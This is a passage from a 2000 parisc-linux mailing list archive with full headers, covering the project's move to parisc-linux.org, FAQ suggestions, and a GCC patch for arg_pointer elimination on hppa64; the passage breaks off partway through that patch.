> i don't know who gets it, but the sender does not receive a bounce.

This should probably bounce since it's been stale for about
11 monthes now...

hope this helps,
grant

ps. just trying to compensate for an otherwise lack of communication.

> 
> yours, fucking furious, Matthew.
> 
> -- 
> "It's time for you to change your sig" -- Alex deVries
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] webshite
Date: Thu, 9 Nov 2000 05:13:23 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20001109051321.G21783@neep.com.au>
References: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619257 5840 80.91.229.3 (22 Nov 2014 01:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Nov  8 14:12:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA23440
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Nov 2000 14:12:48 -0700
Original-Received: (qmail 12905 invoked by uid 15267); 8 Nov 2000 21:14:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12881 invoked from network); 8 Nov 2000 21:14:41 -0000
Original-Received: from symphony-02.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.17)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 21:14:41 -0000
Original-Received: (qmail 24177 invoked by uid 666); 8 Nov 2000 21:14:25 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.172.165)
  by mail.iinet.net.au with SMTP; 8 Nov 2000 21:14:25 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id FAA26098
	for parisc-linux@thepuffingroup.com; Thu, 9 Nov 2000 05:14:02 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, Nov 08, 2000 at 08:14:43PM +0000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:8345

Matthew Wilcox said:
> the www.thepuffingroup.com website is no longer being updated and all
> the updates are only going to parisc-linux.org.

I don't know if there's some other secret mailing list I'm missing out
on, but that's the first time I've heard of "parisc-linux.org" I'm sure.
So thankyou for being the one to bring it up.

Will the mailing list be moving as well?  (Given that it belongs with
the project, not the mothballed puffingroup website.)

> -- 
> "It's time for you to change your sig" -- Alex deVries

Shame, I thought your old sig was funnier.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] webshite
Date: Wed, 08 Nov 2000 14:22:03 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20001108212203.DFDBA37C9F@carmen.fc.hp.com>
References: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk>  
 <20001109051321.G21783@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619257 5843 80.91.229.3 (22 Nov 2014 01:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Nov  8 14:18:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA23766
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Nov 2000 14:18:26 -0700
Original-Received: (qmail 21845 invoked by uid 15267); 8 Nov 2000 21:20:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21703 invoked from network); 8 Nov 2000 21:20:13 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 21:20:13 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 2B88CAC9
	for <parisc-linux@thepuffingroup.com>; Wed,  8 Nov 2000 16:20:12 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id DFDBA37C9F
	for <parisc-linux@thepuffingroup.com>; Wed,  8 Nov 2000 14:22:03 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Thu, 09 Nov 2000 05:13:23 +0800." <20001109051321.G21783@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8346


Andrew Shugg writes...

> I don't know if there's some other secret mailing list I'm missing out
> on, but that's the first time I've heard of "parisc-linux.org" I'm sure.
> So thankyou for being the one to bring it up.

It was never officially announced, just setup. I guess this is the 
announcement.

> Will the mailing list be moving as well?  (Given that it belongs with
> the project, not the mothballed puffingroup website.)

Yes, most of the project's web/mail resources will be moving there shortly. Go 
ahead and update your bookmarks. I've been told there will be a 
pointer/redirect from the old site but I wouldn't count on it existing forever.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Thu, 9 Nov 2000 05:48:06 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <20001109054804.H21783@neep.com.au>
References: <20001107234014.3076.qmail@web109.yahoomail.com> <20001108002808.B13854@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619257 5845 80.91.229.3 (22 Nov 2014 01:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Nov  8 14:46:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA24377
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Nov 2000 14:46:39 -0700
Original-Received: (qmail 387 invoked by uid 15267); 8 Nov 2000 21:48:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 324 invoked from network); 8 Nov 2000 21:48:31 -0000
Original-Received: from symphony-03.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.18)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 21:48:31 -0000
Original-Received: (qmail 10081 invoked by uid 666); 8 Nov 2000 21:48:22 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.172.165)
  by mail.iinet.net.au with SMTP; 8 Nov 2000 21:48:22 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id FAA26491
	for parisc-linux@thepuffingroup.com; Thu, 9 Nov 2000 05:48:09 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001108002808.B13854@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, Nov 08, 2000 at 12:28:08AM +0000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:8347

Matthew Wilcox said:
> On Tue, Nov 07, 2000 at 03:40:14PM -0800, Christian Knoch wrote:
> > hi. 
> > i need information about how to install linux on hp
> > 9000 e25
> 
> *sigh*.  This is in the FAQ.  Where do we need to put links to the FAQ
> to persuade people to read it?  Where did you find this mailing list
> address, do we need to put a link to the FAQ there?

I think the fault lies in the "Contact" page, new (!) URL being:

	http://parisc-linux.org/contact.html

"Most questions about the port should be addressed to the developer
mailing list parisc-linux@thepuffingroup.com"

I would suggest this page be changed a bit, like stick the mailing list
down the bottom and change it to a link to the mailing list subscribe
and browse-the-archives page, rather than simply the address of the
list.  Also a comment about reading the FAQ.  Yes, the FAQ is in the
left-hand side-bar but you can never over-do the help.  =)

One of my favourite comments along that line was on the windowmaker.org
home page (sadly it has been removed).  It was something like "Please
bear in mind that asking questions on the mailing list that are answered
in the FAQ is NOT A GOOD IDEA."  <grin>

The FAQ on parisc-linux.org is also missing the all-important Q/A pair:

Q. I have a question that isn't answered in this FAQ?
A. Please subscribe to the [mailing list] and ask.  Politely.  Preferably
   in English, or (failing that) in a recognisable pidgin.  Don't hold back
   on the relevant information either.  "It won't boot" is not good.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Wed, 08 Nov 2000 17:41:50 -0500
Organization: Linuxcare
Lines: 39
Approved: news@gmane.org
Message-ID: <3A09D6AE.E1BC5134@linuxcare.com>
References: <20001107234014.3076.qmail@web109.yahoomail.com> <20001108002808.B13854@parcelfarce.linux.theplanet.co.uk> <20001109054804.H21783@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619258 5847 80.91.229.3 (22 Nov 2014 01:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, jcook@linuxcare.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: jvinet@linuxcare.com  Wed Nov  8 15:35:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA25025
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Nov 2000 15:35:30 -0700
Original-Received: (qmail 1761 invoked by uid 15267); 8 Nov 2000 22:37:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1731 invoked from network); 8 Nov 2000 22:37:24 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 8 Nov 2000 22:37:24 -0000
Original-Received: (qmail 20356 invoked from network); 8 Nov 2000 22:37:24 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 8 Nov 2000 22:37:24 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8348

Good advice...will notify the web design folks.

Jane
-- 
jvinet@linuxcare.com


Andrew Shugg wrote:

> I would suggest this page be changed a bit, like stick the mailing list
> down the bottom and change it to a link to the mailing list subscribe
> and browse-the-archives page, rather than simply the address of the
> list.  Also a comment about reading the FAQ.  Yes, the FAQ is in the
> left-hand side-bar but you can never over-do the help.  =)
> 
> One of my favourite comments along that line was on the windowmaker.org
> home page (sadly it has been removed).  It was something like "Please
> bear in mind that asking questions on the mailing list that are answered
> in the FAQ is NOT A GOOD IDEA."  <grin>
> 
> The FAQ on parisc-linux.org is also missing the all-important Q/A pair:
> 
> Q. I have a question that isn't answered in this FAQ?
> A. Please subscribe to the [mailing list] and ask.  Politely.  Preferably
>    in English, or (failing that) in a recognisable pidgin.  Don't hold back
>    on the relevant information either.  "It won't boot" is not good.
> 
> Andrew.
> 
> --
> Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/
> 
> "Just remember, Mr Fawlty, there's always someone worse off than yourself."
> "Is there?  Well I'd like to meet him.  I could do with a good laugh."
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] webshite
Date: Thu, 9 Nov 2000 09:59:58 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20001109095958.A4367@parcelfarce.linux.theplanet.co.uk>
References: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk> <20001109051321.G21783@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619258 5849 80.91.229.3 (22 Nov 2014 01:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Thu Nov  9 02:58:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA05683
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 02:58:05 -0700
Original-Received: (qmail 30104 invoked by uid 15267); 9 Nov 2000 10:00:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30097 invoked from network); 9 Nov 2000 09:59:59 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 09:59:59 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13toUw-0001JT-00
	for parisc-linux@thepuffingroup.com; Thu, 09 Nov 2000 09:59:58 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001109051321.G21783@neep.com.au>; from andrew@neep.com.au on Thu, Nov 09, 2000 at 05:13:23AM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8349

On Thu, Nov 09, 2000 at 05:13:23AM +0800, Andrew Shugg wrote:
> Matthew Wilcox said:
> > the www.thepuffingroup.com website is no longer being updated and all
> > the updates are only going to parisc-linux.org.
> 
> I don't know if there's some other secret mailing list I'm missing out
> on, but that's the first time I've heard of "parisc-linux.org" I'm sure.
> So thankyou for being the one to bring it up.

oh, alex secretly went off and registered it.  the first we heard about
it was in a press release a couple of months ago.  for a while it's
been a (broken) redirect to www.thepuffingroup.com/parisc.  there's a
linuxcare internal mailing list for discussions of the parisc project,
but it wasn't mentioned on there either.

> Will the mailing list be moving as well?  (Given that it belongs with
> the project, not the mothballed puffingroup website.)

no idea.  alex is playing politics and he's not very good at it.
personally, i think everything should be moved to puffin.external.hp.com
and parisc-linux.org should just redirect to it, but that wouldn't fit
with the aforementioned political games.

> > -- 
> > "It's time for you to change your sig" -- Alex deVries
> 
> Shame, I thought your old sig was funnier.

oh, i just thought that was a more appropriate sig for the circumstances,
I haven't changed permanently.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] webshite
Date: Thu, 9 Nov 2000 10:06:27 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001109100627.B4367@parcelfarce.linux.theplanet.co.uk>
References: <20001108201443.B28611@parcelfarce.linux.theplanet.co.uk> <200011082031.MAA05350@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619258 5852 80.91.229.3 (22 Nov 2014 01:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:58 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Thu Nov  9 03:04:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA06075
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 03:04:37 -0700
Original-Received: (qmail 1963 invoked by uid 15267); 9 Nov 2000 10:06:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1948 invoked from network); 9 Nov 2000 10:06:31 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 10:06:31 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13tobD-0001Pz-00; Thu, 09 Nov 2000 10:06:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011082031.MAA05350@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Nov 08, 2000 at 12:31:11PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8350

On Wed, Nov 08, 2000 at 12:31:11PM -0800, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > also,
> > email sent to willy@thepuffingroup.com is no longer being received by me.
> > i don't know who gets it, but the sender does not receive a bounce.
> 
> This should probably bounce since it's been stale for about
> 11 monthes now...

um, it was my email address until about 3 months ago.  at least one person
still had that as their preferred email address for me.  if anyone else
does, they should probably change it.  it's the lack of bounce which
concerns me, which implies that someone's receiving it, reading mail
destined for me and not forwarding it on.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Thu, 9 Nov 2000 12:39:57 -0500 (EST)
Lines: 286
Approved: news@gmane.org
Message-ID: <200011091739.MAA07483@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619259 5854 80.91.229.3 (22 Nov 2014 01:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:59 +0000 (UTC)
Cc: alan@linuxcare.com.au, gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com, law@cygnus.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov  9 10:38:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10564
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Nov 2000 10:38:48 -0700
Original-Received: (qmail 3499 invoked by uid 15267); 9 Nov 2000 17:40:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3477 invoked from network); 9 Nov 2000 17:40:36 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 9 Nov 2000 17:40:36 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA07483;
	Thu, 9 Nov 2000 12:39:57 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Nov 3, 2000 03:01:17 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8351

> > So I went down the path of trying to fix things properly by defining
> > ELIMINABLE_REGS and so on, but I ended in a maze of twisty little passages
> > labelled "Unrecognizable instruction", like this one:
> > 
> > /src/parisc/gcc/gcc/libgcc2.c: In function `__moddi3':
> > /src/parisc/gcc/gcc/libgcc2.c:601: Unrecognizable insn:
> > (insn 1289 209 1298 (set (reg:SI 50 %fr22)
> >         (subreg:SI (plus:DI (reg:DI 30 %r30)
> >                 (const_int -272 [0xfffffef0])) 0)) -1 (nil)
> >     (nil))
> > /src/parisc/gcc/gcc/libgcc2.c:601: Internal compiler error in
> > extract_insn, at recog.c:2134
> 
> I am making progress in trying to make the arg_pointer register eliminable.
> I have fixed the above problem.  What was happening was that reload_as_needed
> was incorrectly trying to eliminate the return from millicode calls which
> is also register r29.  I have figured out how to hide it from reload with
> unspec.
> 
> However, the compiler is now too good at eliminating the arg_pointer.  At
> -O3, it completely eliminates the arg_pointer.  However, as I read the ABI,
> the call must always set the arg_pointer before calls.

For the record, here is my final patch regarding making the arg_pointer
eliminable for TARGET_64BIT.  I think the code it generates is correct but
it hasn't been extensively tested.  However, I don't recommend it for
installation since in comparing the assembler code generated with and
without elimination for a couple of test cases, I didn't observe any
significant improvement in the code with the patch.  Possibly, the patch
implicitly disables elimination when the arg_pointer is needed.

I do find that Alan Modra's ARG_POINTER_INVARIANT patch needs to be installed
to get correct code with his test case.

There is one part of the patch below which I think needs to be installed.
That is

	(call, call_value): Always USE the arg_pointer for TARGET_64BIT.

The use for the arg_pointer needs to be pulled out of the `if (flag_pic)'.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-11-07  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa-linux64.h (ARG_POINTER_INVARIANT): Define even when the
	arg_pointer is being eliminated.
	(ELIMINABLE_REGS): Enable elimination of the arg_pointer.
	(INITIAL_ELIMINATION_OFFSET): Revise offsets for arg_pointer.
	* pa.md (mulsi3, divsi3, udivsi3, modsi3, umodsi3 and
	canonicalize_funcptr_for_compare): Put "(reg:SI 26)" inside
	unspec to prevent elimination.
	(call, call_value): Always USE the arg_pointer for TARGET_64BIT.
	Use the new addmovdi3 insn to load the arg_pointer register.
	(addmovdi3 and mov_from_r29_si): New insn and expand which prevent
	r29 from being eliminated in call setups and millicode returns.

--- pa-linux64.h.orig	Tue Oct 31 18:38:24 2000
+++ pa-linux64.h	Tue Nov  7 12:17:12 2000
@@ -209,21 +209,18 @@
    that grow to lower addresses.  What fun.  */
 #undef ARGS_GROW_DOWNWARD
 #undef ARG_POINTER_REGNUM
-#define ARG_POINTER_INVARIANT 0
 #define ARG_POINTER_REGNUM 29
+#define ARG_POINTER_INVARIANT 0
 #undef STATIC_CHAIN_REGNUM
 #define STATIC_CHAIN_REGNUM 31
 
-#if 1
-#define ARG_POINTER_INVARIANT 0
-#else
-/* If defined, this macro specifies a table of register pairs used to eliminate
-   unneeded registers that point into the stack frame.  */
+/* If defined, this macro specifies a table of register pairs used to
+   eliminate unneeded registers that point into the stack frame.  */
 
 #define ELIMINABLE_REGS							\
 {									\
-  {ARG_POINTER_REGNUM,	 STACK_POINTER_REGNUM},				\
   {FRAME_POINTER_REGNUM, STACK_POINTER_REGNUM},				\
+  {ARG_POINTER_REGNUM,	 STACK_POINTER_REGNUM},				\
   {ARG_POINTER_REGNUM,	 FRAME_POINTER_REGNUM},				\
 }
 
@@ -240,19 +237,18 @@
 #define INITIAL_ELIMINATION_OFFSET(FROM, TO, OFFSET) \
   do								\
     {								\
-      int fsize;						\
+      int fsize = compute_frame_size (get_frame_size (), 0);	\
 								\
       if ((TO) == FRAME_POINTER_REGNUM				\
 	  && (FROM) == ARG_POINTER_REGNUM)			\
 	{							\
-	  (OFFSET) = - current_function_pretend_args_size - 16;	\
+	  (OFFSET) = fsize + 48 - current_function_outgoing_args_size;	\
 	  break;						\
 	}							\
 								\
       if ((TO) != STACK_POINTER_REGNUM)				\
 	abort ();						\
 								\
-      fsize = compute_frame_size (get_frame_size (), 0);	\
       switch (FROM)						\
 	{							\
 	case FRAME_POINTER_REGNUM:				\
@@ -260,14 +256,13 @@
 	  break;						\
 								\
 	case ARG_POINTER_REGNUM:				\
-	  (OFFSET) = - fsize - current_function_pretend_args_size - 16;	\
+	  (OFFSET) = 48 - current_function_outgoing_args_size;  \
 	  break;						\
 								\
 	default:						\
 	  abort ();						\
 	}							\
     } while (0)
-#endif
 
 #undef SELECT_RTX_SECTION
 #define SELECT_RTX_SECTION(MODE,RTX)	\
--- pa.md.orig	Tue Nov  7 13:50:34 2000
+++ pa.md.work	Wed Nov  8 14:06:05 2000
@@ -3993,7 +3993,7 @@
 	      (clobber (reg:SI 26))
 	      (clobber (reg:SI 25))
 	      (clobber (reg:SI 31))])
-   (set (match_operand:SI 0 "general_operand" "") (reg:SI 29))]
+   (set (match_operand:SI 0 "general_operand" "") (unspec:SI [(reg:SI 29)] 0))]
   ""
   "
 {
@@ -4139,7 +4139,7 @@
 	      (clobber (reg:SI 26))
 	      (clobber (reg:SI 25))
 	      (clobber (reg:SI 31))])
-   (set (match_operand:SI 0 "general_operand" "") (reg:SI 29))]
+   (set (match_operand:SI 0 "general_operand" "") (unspec:SI [(reg:SI 29)] 0))]
   ""
   "
 {
@@ -4197,7 +4197,7 @@
 	      (clobber (reg:SI 26))
 	      (clobber (reg:SI 25))
 	      (clobber (reg:SI 31))])
-   (set (match_operand:SI 0 "general_operand" "") (reg:SI 29))]
+   (set (match_operand:SI 0 "general_operand" "") (unspec:SI [(reg:SI 29)] 0))]
   ""
   "
 {
@@ -4255,7 +4255,7 @@
 	      (clobber (reg:SI 26))
 	      (clobber (reg:SI 25))
 	      (clobber (reg:SI 31))])
-   (set (match_operand:SI 0 "general_operand" "") (reg:SI 29))]
+   (set (match_operand:SI 0 "general_operand" "") (unspec:SI [(reg:SI 29)] 0))]
   ""
   "
 {
@@ -4310,7 +4310,7 @@
 	      (clobber (reg:SI 26))
 	      (clobber (reg:SI 25))
 	      (clobber (reg:SI 31))])
-   (set (match_operand:SI 0 "general_operand" "") (reg:SI 29))]
+   (set (match_operand:SI 0 "general_operand" "") (unspec:SI [(reg:SI 29)] 0))]
   ""
   "
 {
@@ -5785,9 +5785,9 @@
     op = XEXP (operands[0], 0);
 
   if (TARGET_64BIT)
-    emit_move_insn (arg_pointer_rtx,
-		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
-				  GEN_INT (64)));
+    emit_insn (gen_addmovdi3 (arg_pointer_rtx,
+			      virtual_outgoing_args_rtx,
+			      GEN_INT (64)));
 
   /* Use two different patterns for calls to explicitly named functions
      and calls through function pointers.  This is necessary as these two
@@ -5809,13 +5809,14 @@
       call_insn = emit_call_insn (gen_call_internal_reg (operands[1]));
     }
 
+  if (TARGET_64BIT)
+    use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
+
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
 	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
-      if (TARGET_64BIT)
-	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
 	 doesn't appear to be used.
@@ -5961,9 +5962,9 @@
     op = XEXP (operands[1], 0);
 
   if (TARGET_64BIT)
-    emit_move_insn (arg_pointer_rtx,
-		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
-				  GEN_INT (64)));
+    emit_insn (gen_addmovdi3 (arg_pointer_rtx,
+			      virtual_outgoing_args_rtx,
+			      GEN_INT (64)));
 
   /* Use two different patterns for calls to explicitly named functions
      and calls through function pointers.  This is necessary as these two
@@ -5989,6 +5990,10 @@
